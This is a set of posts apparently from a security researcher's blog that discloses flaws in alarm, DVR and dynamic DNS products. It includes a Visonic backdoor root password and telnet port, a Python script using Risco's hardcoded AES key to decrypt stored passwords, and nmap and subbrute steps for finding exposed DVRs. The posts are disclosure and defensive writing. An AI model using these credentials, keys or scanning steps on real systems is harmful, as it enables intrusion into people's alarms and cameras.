Open Risco support portal including private FTP credentials

During a routine pen-test of an alarm receiving centre, I was googling for default usernames and passwords of Risco software and alarms.

When doing this, I found an abandoned support portal “Riscopedia” which contained a number of valid credentials for FTP sites, along with other private documentation.

Creds

Whilst the Technical.Notes account appears to be shut down, there are still paths onto other FTP servers that look like they should be closed.

This was reported to Risco on 30th July via Twitter and email.

 

Backdoor root account on Visonic Powerlink 2 modules

During a routine pen-test of an alarm receiving centre, a repository of manufacturer firmware was found. This is often quite hard to get hold of, and I welcomed the opportunity to reverse some of these.

The Visonic Powerlink 2 firmware stood out due to it’s large size – this was almost certainly an embedded Linux system.

On unpacking the firmware, it was found that the units had an enabled account with root privileges called root2 with the password visonic. I discovered this by cracking the password file. However, once I had done this, someone pointed out that this was widely documented as early as 2011.

The system runs telnet on port 7523, and a web interface on port 80. Shodan has ~85 of these visible at the moment.

Once you have root access, you can arm and disarm the connected alarm, and capture images from any connected cameras.

In addition to this, for the firmware and single unit I was permitted access to, it was found it was transmitting status messages (armed/disarmed status, serial number) over a plaintext connection to http://myhome.visonic.com/ (212.179.58.186). We could not find anywhere in the firmware to turn this off.

They would be an ideal pivot or persistance node in a longer term pen-test.

 

 

 

Vulnerability in password storage in Risco Configuration Software

During a routine pen-test of an alarm receiving centre, a piece of software was found that was used to remotely configure Risco alarms.

The software is backed by a SQL database called “ConfigurationSoftware” which contains a table called ut_Users with a column called PWD which stores passwords for users that can log into the system.

This PWD field appeared to be a base64 encoded string.

On further investigation, this password was stored in an encrypted form. This allows it to be recovered from the software, and doesn’t follow best practices of hashing passwords.

The encryption is AES-256 and uses a fixed key and IV which is hardcoded into the application.

Passwords were recovered from the database which, due to password re-use, allowed me to take control of the domain controller and website of the company. The password was of good complexity, so if hashing had been used, I would have been unlikely to have recovered this.

A Python script to decrypt the passwords is shown below.

from Crypto.Cipher import AES
from Crypto import Random
import base64

BS = 32
# PKCS #7
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]

def encrypt(raw, key, iv ):
    raw = pad(raw)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return (cipher.encrypt(raw ))

def decrypt(enc, key, iv ):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc))

# Static and hardcoded
key = 'FKLe608FDsF5J6ZaKpTghjED7Hb80ALq'
iv = 'Sckt6DopykVCD9Lq'

# The default 123 password as installed
ciphertext = 'BQqwo4a87TvfJKv4af8h3g=='

print 'Password is %s' % decrypt(base64.b64decode(ciphertext), key, iv).decode('utf-16-le')

This was reported to Risco on 7th August. A fix is meant to be deployed at the beginning of November.

Conclusion

  • Hash, don’t encrypt your passwords.
  • Don’t hardcode encryption keys in your software
  • Don’t use the same password for domain admin as in a system of unknown quality
  • Have a security contact so it’s not painful to report issues

InSecurTek Monitoring

Update

The director of IT from Securtek got in touch via the contact form. They are working to fix these issues, and his response was measured and reasonable, especially in light of my rather inflammatory blog post.

Thank you for bringing this to our attention.  We will be taking steps immediately to correct this situation, both in the short-term and in the long-term.
– Bryan Watson, Director of IT, SecurTek Monitoring Solutions

Introduction

Another security industry website, another slew of basic mistakes.

SecurTek are a Canadian company who offer alarm monitoring. Even just a cursory glance at their system shows that they are ignoring basic security principles.

No HTTPS

The login page is lacking HTTPS. There is no excuse for this in 2015 for a commercial web service of any form.

No HTTPS

No HTTPS

Username enumeration

The login form responds different depending on if the user exists or not.

Username not found

Username not found

This might seem minor, but it massively facilitates brute-forcing usernames and passwords by removing one of the unknowns. Best practice is to indicate that you have entered an incorrect username or password.

Passwords are stored in the plain

The forgotten password functionality simply emails you the password you have already set.

Password in the plain

Password in the plain

This has several implications.

It means that your password is stored in a way in which it can be retreived. Whilst it may be encrypted, this encryption can be reversed, yielding a password. This is not good and nowhere near best practice. Passwords should be hashed at the bare minimum, which prevents them being recovered in this way.

Email is not a secure way of delivering a password. There is the potential for many people to see this password. With password re-use being common, obtaining the password for SecurTek could yield access to many other systems. A password reset mechanism should use a random token and be time-limited.

Conclusion

This is a 2-minute glance at security, and it’s shown two very serious issues and one reasonably serious. They aren’t subtle issues.

Would you trust a company with your alarm monitoring if they can’t do these things right?

You don’t need to read or agree to a EULA to extract binaries

Impero Software have sent a particularly dickish letter to @TheWack0lian after he raised a security vulnerability (unauthenticated user remote command execution) in their software.

Impero’s entire complaint seems to be that their End User License Agreement (EULA) has been breached. Explicitly stated in the letter is that @TheWack0lian must have agreed to the EULA to mess around with the software. Really?

Letter extract

Let me tell you a secret, Impero and Gateley Plc

If you make your software downloadable (link dead now), you don’t need to run the installer to see what is inside it.

Windows has built in tools that can unpack most MSI files. 7zip deals with the bulk of the rest. For those left, lessmsi will unpack them.

This exactly the route I took after I downloaded Impero’s software – simply unpacked it and started hacking.

Files in MSI

You could have handled this well, instead I know that there are now at least three 0-days out there for the Impero software.

Stop doing client-side password hashing

Right, this has come up enough to write a post about it.

Stop hashing passwords on the client-side and sending the hash in the clear. It is not a substitute for HTTPS!

Here is an example of this being done on the DSC Security website. Go to “Security Professional Login”, and you get a pop-up login box. It looks like JavaScript is involved.

Note that the login page is served over HTTP (not HTTPS). This doesn’t always mean that the login credentials are passed over HTTP though. Sometimes the HTTP form submits to a HTTPS page.

This is still bad from a security perspective as the attacker can deliver you a malignant login form that submits credentials to a server under his control.

Regardless, DSC aren’t doing anything over HTTPS – it’s all HTTP – so it is all sent in the plain. HTTPS is essentially free these days – there is no excuse to not use it.

That said, it appears that someone at DSC has realised that HTTP a bad idea, so they have implemented… a thingy. A thingy that does little to improve security.

Here is the query that they send when I entered test/test:

GET /index.php?o=login&user=test&pwd=098f6bcd4621d373cade4e832627b4f6&remember=yes HTTP/1.1

So that parameter pwd isn’t test. What is it?

Let’s look at the JavaScript powering the site.

function login() {
    el = document.getElementById("lusername");
    el2 = document.getElementById("lpassword");
    el3 = document.getElementById("remember");
    url = "/index.php?o=login&user=" + encode(el.value) + "&pwd=" + md5(el2.value);
    if (el3 && el3.checked)
    {
        url += "&remember=yes";
    }
    initObj();
    showWait();
    if (xmlhttp!=null) {
      xmlhttp.onreadystatechange=_login;
      xmlhttp.open("GET",url,true);
      xmlhttp.setRequestHeader( "If-Modified-Since", "Sat, 1 Jan 2000 00:00:00 GMT" );
      xmlhttp.send(null);
    } else {
        url2 = "/index.php?o=login2&user=" + encode(el.value) + "&pwd=" + md5(el2.value);
        if (el3 && el3.checked)
        {
            url2 += "&remember=yes";
        }
        window.location=url2;
    }
}

Yes – it’s MD5ing the unsalted password test and submitting the hash.

A passive observer of the traffic can still just sniff a single login and re-use the hash to login to DSC. They don’t need to know the password.

A passive observer could obtain the password by cracking the MD5 hash. Because it is un-salted, the hash of can even be googled to find the password. Salting is essential when using a hash to store passwords.

Even if the attacker couldn’t get the password by passive observation and cracking, they could simply serve up a login page that submits the original password to a server under their control.

This isn’t the first, second, third, fourth or even fifth time I have seen this. It’s useless. Stop doing it!

Note that DSC are also passing sensitive parameters as GET rather than POST. This means that the hash is stored in your URL history, proxies between you and the server etc.

 

 

 

Subjects don’t need to be preserved in Certificate Signing Requests

I’ve been playing round with certificates, keys and Certificate Signing Requests (CSRs) whilst evaluating the security of an IoT solution.

I’ve had a longstanding misconception around CSRs and I thought I would document it here in case anyone else finds the same issue.

The purpose of a CSR is to request a certificate from a Certificate Authority (CA), where they sign your public key and a number of pieces of data called “subjects”. Normally these subjects, for HTTPS, are related to the domain.

The CSR in question looks like this:

root@kali:~# openssl req -in csr.req -text -noout
Certificate Request:
    Data:
        Version: 0 (0x0)
        Subject: emailAddress=cybergibbon@test.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:ea:a9:04:df:20:63:6d:78:8d:a4:c3:8a:7e:b5:
                    a9:38:a7:1d:2a:75:20:90:45:2d:c9:9e:b3:08:18:
                    a9:59:d4:79:95:40:ef:cc:4f:2c:93:73:21:02:05:
                    9b:47:c4:9b:73:21:a8:fe:da:9c:2c:71:98:f5:49:
                    37:a7:28:a4:f5:14:6a:a0:91:dd:a7:87:63:d4:b4:
                    2a:aa:a6:9b:b2:a4:72:ab:91:58:2b:e5:6e:34:84:
                    05:ce:c8:dc:7f:3c:33:5f:d2:14:27:37:34:ee:aa:
                    58:29:de:5c:f5:b7:93:69:94:a9:20:02:84:fb:cd:
                    5e:04:43:56:df:c2:48:f7:41
                Exponent: 65537 (0x10001)
        Attributes:
            a0:00
    Signature Algorithm: sha1WithRSAEncryption
         01:e8:97:81:25:0b:b1:c5:9c:66:62:6f:0a:6a:00:b6:1d:6c:
         d9:17:50:20:16:42:54:4e:cb:30:c7:a3:35:bb:fd:22:a3:d6:
         73:5e:ea:2d:fb:50:39:3b:56:84:bc:3e:d1:cf:62:7c:03:b5:
         43:d7:5d:38:b8:cd:39:d1:89:09:23:44:d8:ef:17:ce:e3:5b:
         9d:2d:8a:4c:9e:45:81:a2:70:88:db:d5:aa:6c:7b:03:f2:2b:
         ee:b2:67:2f:62:3e:cf:d1:e2:fd:e4:d0:82:66:00:26:3a:6f:
         b8:f4:ff:e4:85:4f:de:d5:51:a6:a0:07:ef:33:ab:b5:d1:04:
         eb:18

This has a subject of an email address – cybergibbon@test.com and my public key. That whole lot is then signed with my private key. This allows the recipient of the CSR to verify that someone with the private key corresponding to the public key has added the data cybergibbon@test.com.

I thought the CA then signed the entire CSR, preserving the subject, and hence also my signature. It turns out that they can actually just re-write the subject and sign it – my signature is no longer involved!

Here is an example certificate received back from the CA:

root@kali:~# openssl x509 -in cybergibbon_at_test.com.crt -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 35242 (0x89aa)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=DK, O=HackingTeam
        Validity
            Not Before: Jul  6 03:52:32 2015 GMT
            Not After : Jul  4 01:52:33 2025 GMT
        Subject: emailAddress=cybergibbons@test.com
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:ea:a9:04:df:20:63:6d:78:8d:a4:c3:8a:7e:b5:
                    a9:38:a7:1d:2a:75:20:90:45:2d:c9:9e:b3:08:18:
                    a9:59:d4:79:95:40:ef:cc:4f:2c:93:73:21:02:05:
                    9b:47:c4:9b:73:21:a8:fe:da:9c:2c:71:98:f5:49:
                    37:a7:28:a4:f5:14:6a:a0:91:dd:a7:87:63:d4:b4:
                    2a:aa:a6:9b:b2:a4:72:ab:91:58:2b:e5:6e:34:84:
                    05:ce:c8:dc:7f:3c:33:5f:d2:14:27:37:34:ee:aa:
                    58:29:de:5c:f5:b7:93:69:94:a9:20:02:84:fb:cd:
                    5e:04:43:56:df:c2:48:f7:41
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                49:85:CB:85:5F:EF:50:A6:2E:E1:B0:95:33:24:77:58:6C:70:C7:62
            X509v3 Authority Key Identifier: 
                keyid:65:F1:07:3D:58:53:F3:BE:1C:02:0C:B6:36:E6:3F:95:F5:60:33:E3

    Signature Algorithm: sha1WithRSAEncryption
         59:73:5f:2c:5c:19:2f:ec:db:3d:38:40:45:ed:72:d9:6b:dc:
         ac:2e:99:fa:db:ae:59:6f:aa:06:ab:73:4e:06:46:13:71:3f:
         81:2e:76:b3:4a:fb:82:cf:4c:d3:43:9f:f4:6f:08:5e:d6:22:
         44:c7:5d:e3:fa:5c:83:01:82:03:d5:10:74:17:0b:ed:4d:2f:
         4a:72:2e:63:6d:78:7d:2f:dc:62:8d:72:f8:96:05:61:ea:36:
         a4:b3:81:24:1e:62:12:04:48:f6:d1:ca:27:66:54:94:ec:24:
         ad:c3:aa:1a:e1:90:1c:f9:5c:ae:0e:ba:c9:94:fe:30:75:50:
         c1:a3:69:8f:13:25:8f:b1:81:45:08:b9:30:3d:26:9a:0a:6e:
         bc:74:97:6e:fb:2d:5f:86:21:b5:0c:b1:a0:47:e5:95:d4:24:
         8f:f8:ad:52:0b:a6:f7:54:f8:17:06:26:1e:57:47:36:48:49:
         a8:c6:50:a0:69:4a:c2:8f:35:5c:73:cd:5b:a7:d6:14:e3:30:
         c6:61:a0:dc:a2:c9:14:67:01:d3:f2:c6:bc:52:44:0e:bb:fc:
         60:69:c1:28:63:f7:9b:d6:f9:4c:d9:b7:3a:21:2c:93:7b:8c:
         e7:f8:ab:62:3c:be:19:d0:e0:94:86:58:71:b7:4f:a5:f6:a3:
         16:f8:0a:61

As you can see – there is no notion of my signature in there. The email of cybergibbon@test.com has been altered to cybergibbons@test.com by the CA. This is because my registered email is cybergibbons@test.com.

It’s not very important, but I was initially excited when the CA returned a certificate for an email which I wasn’t registered with as it could have led to an interesting vulnerability. It’s important to note that a certificate issued by a CA can be done so without the owner of the public key being aware.

cdraw

Why dynamic DNS is a bad idea for the Internet of Things

Dynamic DNS has been around for a good while now, allowing users who have dynamic IPs (or even those with static IPs, no DNS, and bad memory) to use a hostname of their dynamic DNS provider to point towards their home IP.

Dynamic DNS makes it easier for a user to connect back to their home IP and interact with devices in their network. It provides a mapping between a constant hostname (e.g. cybergibbons.swanndvr.net) and your IP (82.158.226.34).

A device on your network (maybe your router, often a specific device) periodically communicates your IP to the dynamic DNS service. The domain name resolution changes as your IP changes. This means that if your IP changes, you can still connect to your home network using the constant hostname.

Simply knowing the IP is not enough – you need to be able to acutally connect to the devices. Normally a home router has a firewall set to reject nearly all incoming traffic. A user needs to punch a hole through the firewall, often using something called port-forwarding.

This exposes a device on your private network to the wider Internet. You are no longer using the security of your router’s firewall, but depending on the security of the device you have exposed.

Devices like IP CCTV cameras, network/digital video recorders, thermostats, and home automation hubs often rely on this combination of port-forwarding and dynamic DNS.

For example, a lot of Swann DVRs recommend you port-forward port 85 from your router back to your DVR. Swann then runs their own dynamic DNS service, which the DVR can be configured to communicate with.

Sounds like a great idea, doesn’t it? Users can easily connect back to their IoT devices from outside their home.

Unfortunately, dynamic DNS, especially when it is provided by deivice manufacturers, is generally a bad idea.

Why?

Finding hostnames

Each user that uses dynamic DNS has a unique subdomain – e.g. cybergibbons.swanndvr.net – try it using nslookup:
Screen Shot 2015-06-04 at 23.01.15

(no, that’s not my own IP)

Now try something that doesn’t exist:

Screen Shot 2015-06-04 at 23.04.53

And you can see we get no response (as long as no-one registers that domain after I publish this…)

We can do this as a bulk operation, using a large wordlist and a tool called subbrute. This tool is commonly used during the discovery phase of a pen test to find new hosts. Subbrute uses a wide array of DNS servers rather than just your own one, allowing it run quicker and with lower risk of rate limiting.

It’s important to note that the operator of swanndvr.net is highly unlikely to notice someone brute-forcing sub-domains like this. They might see a slightly higher rate than average of lookups as new DNS servers end up having to make recursive requests for their authoritive records. But the attacker’s IP will remain entirely hidden. The dynamic DNS users will see nothing at all from this attack.

The wordlist required for this application differs to a typical host wordlist. We don’t want to find ftp, dev1, vpn, etc. We want to find optus, redrover, zion, pchome, concordia. These are closer to usernames than normal hostnames. I used a custom list of usernames and hostnames built up over the last few years for this, but other sources like fuzzdb and SecLists are good starting points.

Running subbrute against swanndvr.net quickly got me a list of 2401 valid hostnames. I’m sure a longer wordlist would reveal more hostnames, but 2401 is enough for this.

Scanning hosts for webservices

Given that swanndvr.net is intended to be used by people who own Swann products, I though I would concentrate on ports that Swann products commonly use. This includes the typical port 80 (HTTP), port 443 (HTTPS), but also 85 (a lot of Swann products run HTTP on this port).

Let’s fire up nmap:

nmap -vv -Pn -iL swann_hosts.txt -T5 -p80,85,443 --open -oA nmap_swann | tee nmap_swann.txt
  •  -vv – verbose output
  • -Pn – don’t ping check host first
  • -iL swann_hosts.txt – take this file as the input
  • -T5 – scan fast
  • -p80,85,443 – scan ports 80, 85 and 443
  • –open – only show open ports
  • -oA nmap_swann – output in greppable, nmap and xml files
  • tee nmap_swann.txt – console to a text file

This scan will run quickly – we are only trying three ports on (mainly) consumer routers, so there is little risk of anything clamming up with the fast scan.

After this, we have 335 hosts running something on one of these three ports. That’s a lot of hosts to check manually. I won’t post the results here as it is likely transient.

Screengrabbing hosts

Luckily there is a tool that is designed to take a list of hosts/services and grab a screenshot of each one. It’s called peepingtom. It uses a library called PhantomJS to render the webpages, save a screenshot and the source, and present it in a nice HTML file. It also works with nmap output files.

At the moment, there are no binaries available for PhantomJS, so you will need to build it yourself under Linux. This takes quite a while.

Running peepingtom is very simple, but it doesn’t, by default, treat port 85 as HTTP. We need to edit the peepingtom.py file. In the function parseNmap, add 85 to the http_ports:
Screen Shot 2015-06-05 at 09.21.46

Now we run peepingtom:

./peepingtom.py -x nmap_swann.xml

It will take quite a while to run. Peepingtom won’t do anything complex with JavaScript, redirects, Flash etc. so some of the results will be basic, but it’s easy enough to confirm the interesting results in a browser.

What do we find?

Lots of IIS, generally vulnerable to MS15-034 (27/335 hosts running IIS, 21 vulnerable). I guess people into DVRs like tinkering with IT and forgetting about what they are running.

httpbscswanndvrnet80

Lots of DVRs, which may (or may not) use default (or no) credentials.

httpworcesterswanndvrnet80

httpcometswanndvrnet80

Some IP cameras:

httpsgccswanndvrnet443

Lots and lots of modems and routers, some with no login credentials at all.

In fact, it looks like about 85 hosts are running DVRs, and about 30 of these have an easy to exploit vulnerability that I found a few months back (responsible disclosure ongoing…) that results in root access to a fairly powerful embedded Linux box.

Scanning hosts for other typically insecure services

Going back for another nmap scan, this time on 21 (FTP), 22 (SSH), 23 (Telnet) and 25 (SMTP), we find even more hosts running services. Telnet is very popular.

Conclusion

So what is the issue here?

Dynamic DNS gives me a very easy way of identifying hosts that run multiple, likely insecure services/devices including those made by specific manufacturers.

These IoT devices nearly always have some vulnerabilities and very rarely receive any firmware updates to fix them.

It’s like a big flag shouting “hack me”!

I could take over 30 DVRs just from this small amount of work and use them for whatever I want.

It would take me much longer to scan the entire IPv4 address space to find these specific devices.

What’s the solution? Stop relying on port-forwarding to allow connectivity to your devices. If you need to, make them secure and don’t allow default credentials!

 

MintDNS dynamic DNS software – multiple vulnerabilities

MintDNS is a piece of software used to provide dynamic DNS services. It runs under Windows, and I can find ~50 different CCTV/NVR providers using it.

I’ve only had a very quick check of this piece of software, but it appears to suffer from multiple, fairly serious, vulnerabilities.

User input validation is performed client side

There are a number of checks on things like password length done client side. These can easily be bypassed by setting values directly in requests. For example, custom security questions can be set, and empty passwords.

Passwords stored in the plain

The database stores passwords, encoded as base64, in the Admin and Users tables:

Users table

Users table

Admin table

Admin table

dGVzdHBhc3M= is “testpass”

It is not advised or forgiveable to store passwords in the plain anymore.

Passwords stored in the plain in a cookie

When logging in, the base64 password is stored in the plain in a cookie.

HTTP/1.1 302 Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Location: /devices.aspx
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: DDNS=user=a@test.com&pass=dGVzdHBhc3M=; expires=Fri, 05-Jun-2015 14:25:24 GMT; path=/
X-Powered-By: ASP.NET
Date: Thu, 04 Jun 2015 14:25:24 GMT
Content-Length: 132

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="%2fdevices.aspx">here</a>.</h2>
</body></html>

There really is no excuse for this either. This is what session tokens are for.

Password check from cookie is case-insensitive

Each time a page is viewed, the password is checked from the cookie. Because the database stores the password in base64 and the cookie is in base64, they are directly compared.

However, this is done in SQL which is by default case-insensitive.

This means that the base64 string of dGVzdHBhc3M= (testpass) is just as valid as DgvZDhbHC3m= or any of the other variations.

No password brute-force protection on cookie

Whilst the login form has brute-force protection (“FloodCheck”), the cookie doesn’t have any brute-force protection. You can just chug through passwords as quickly as you like.

Brute-force cookie password - long response indicates success

Brute-force cookie password – long response indicates success

A lack of brute-force protection is common on cookie values, but usually the token is a lengthy session token with enough entropy to mean this is not an issue.

Password reset is insecure

On attempting to reset a password, the first step is to provide the email address.

Once this is done, you are presented with a security question:
Security question

This has no brute-force protection in the form of lockout or captcha, so off we go with a brute-force attack – against something that has a lot lower entropy than a password. I’d wager that a list of 100 common foods, 100 common cities and common phone number formats would yield a vast majority of accounts.

But when we get the question right, how does it deal with it?

Cookie with original password

That’s right! It puts the original password into the cookie, base64 encoded!

Conclusion

I stopped looking at this point. MintDNS has enough issues that I wouldn’t use it. Reviewing the .aspx files indicate to me that the development is ad-hoc and a bit naive. The website doesn’t really indicate that the software has been updated in the last 5 years.

I found a couple of instances where user input was reflected back in the response, but there are basic XSS checks combined with the IIS/ASP checks, so it did not appear to be exploitable.

Interesting Shodan searches: PIP technologies ANPR cameras

Again, browsing telnet, I see the word “ANPR” – Automatic Number Plate Recognition.

Most of these say “P372” and a Shodan search for that delivers the goods. The telnet prompt shows us P372, but nearly all of these also have HTTP open as well.

It’s safe to say a lot of these don’t have any authentication on telnet or HTTP.

Their default mechanism to report plates is by FTPing the data to a central server. The FTP server IP and credentials can be viewed through the configuration interface. The manual recommends that this FTP acount has read and write permissions using MS FTP, so once you have these credentials, it is likely you can tamper or upload fake records – and not just for this single camera, but likely any in the network. The manual also uses the example “ftp_boot” for both user and pass, and it seems a lot of people have taken this literally.

Credentials blanked by me

Credentials blanked by me

These ANPR cameras are used by local authorities and governments.

Pff.

Who is to blame here?

I think the mnaufacturer should make the system impossible to configure this badly, and provide a default configuration and documentation that prevents this kind of stuff.

But whoever installed these also needs to bear some responsibility. If I get a boiler fitted, I expect the installer to know what each pipe and wire does, and not just hide the ones he doesn’t understand…

It looks like Darius Freamon has already found this.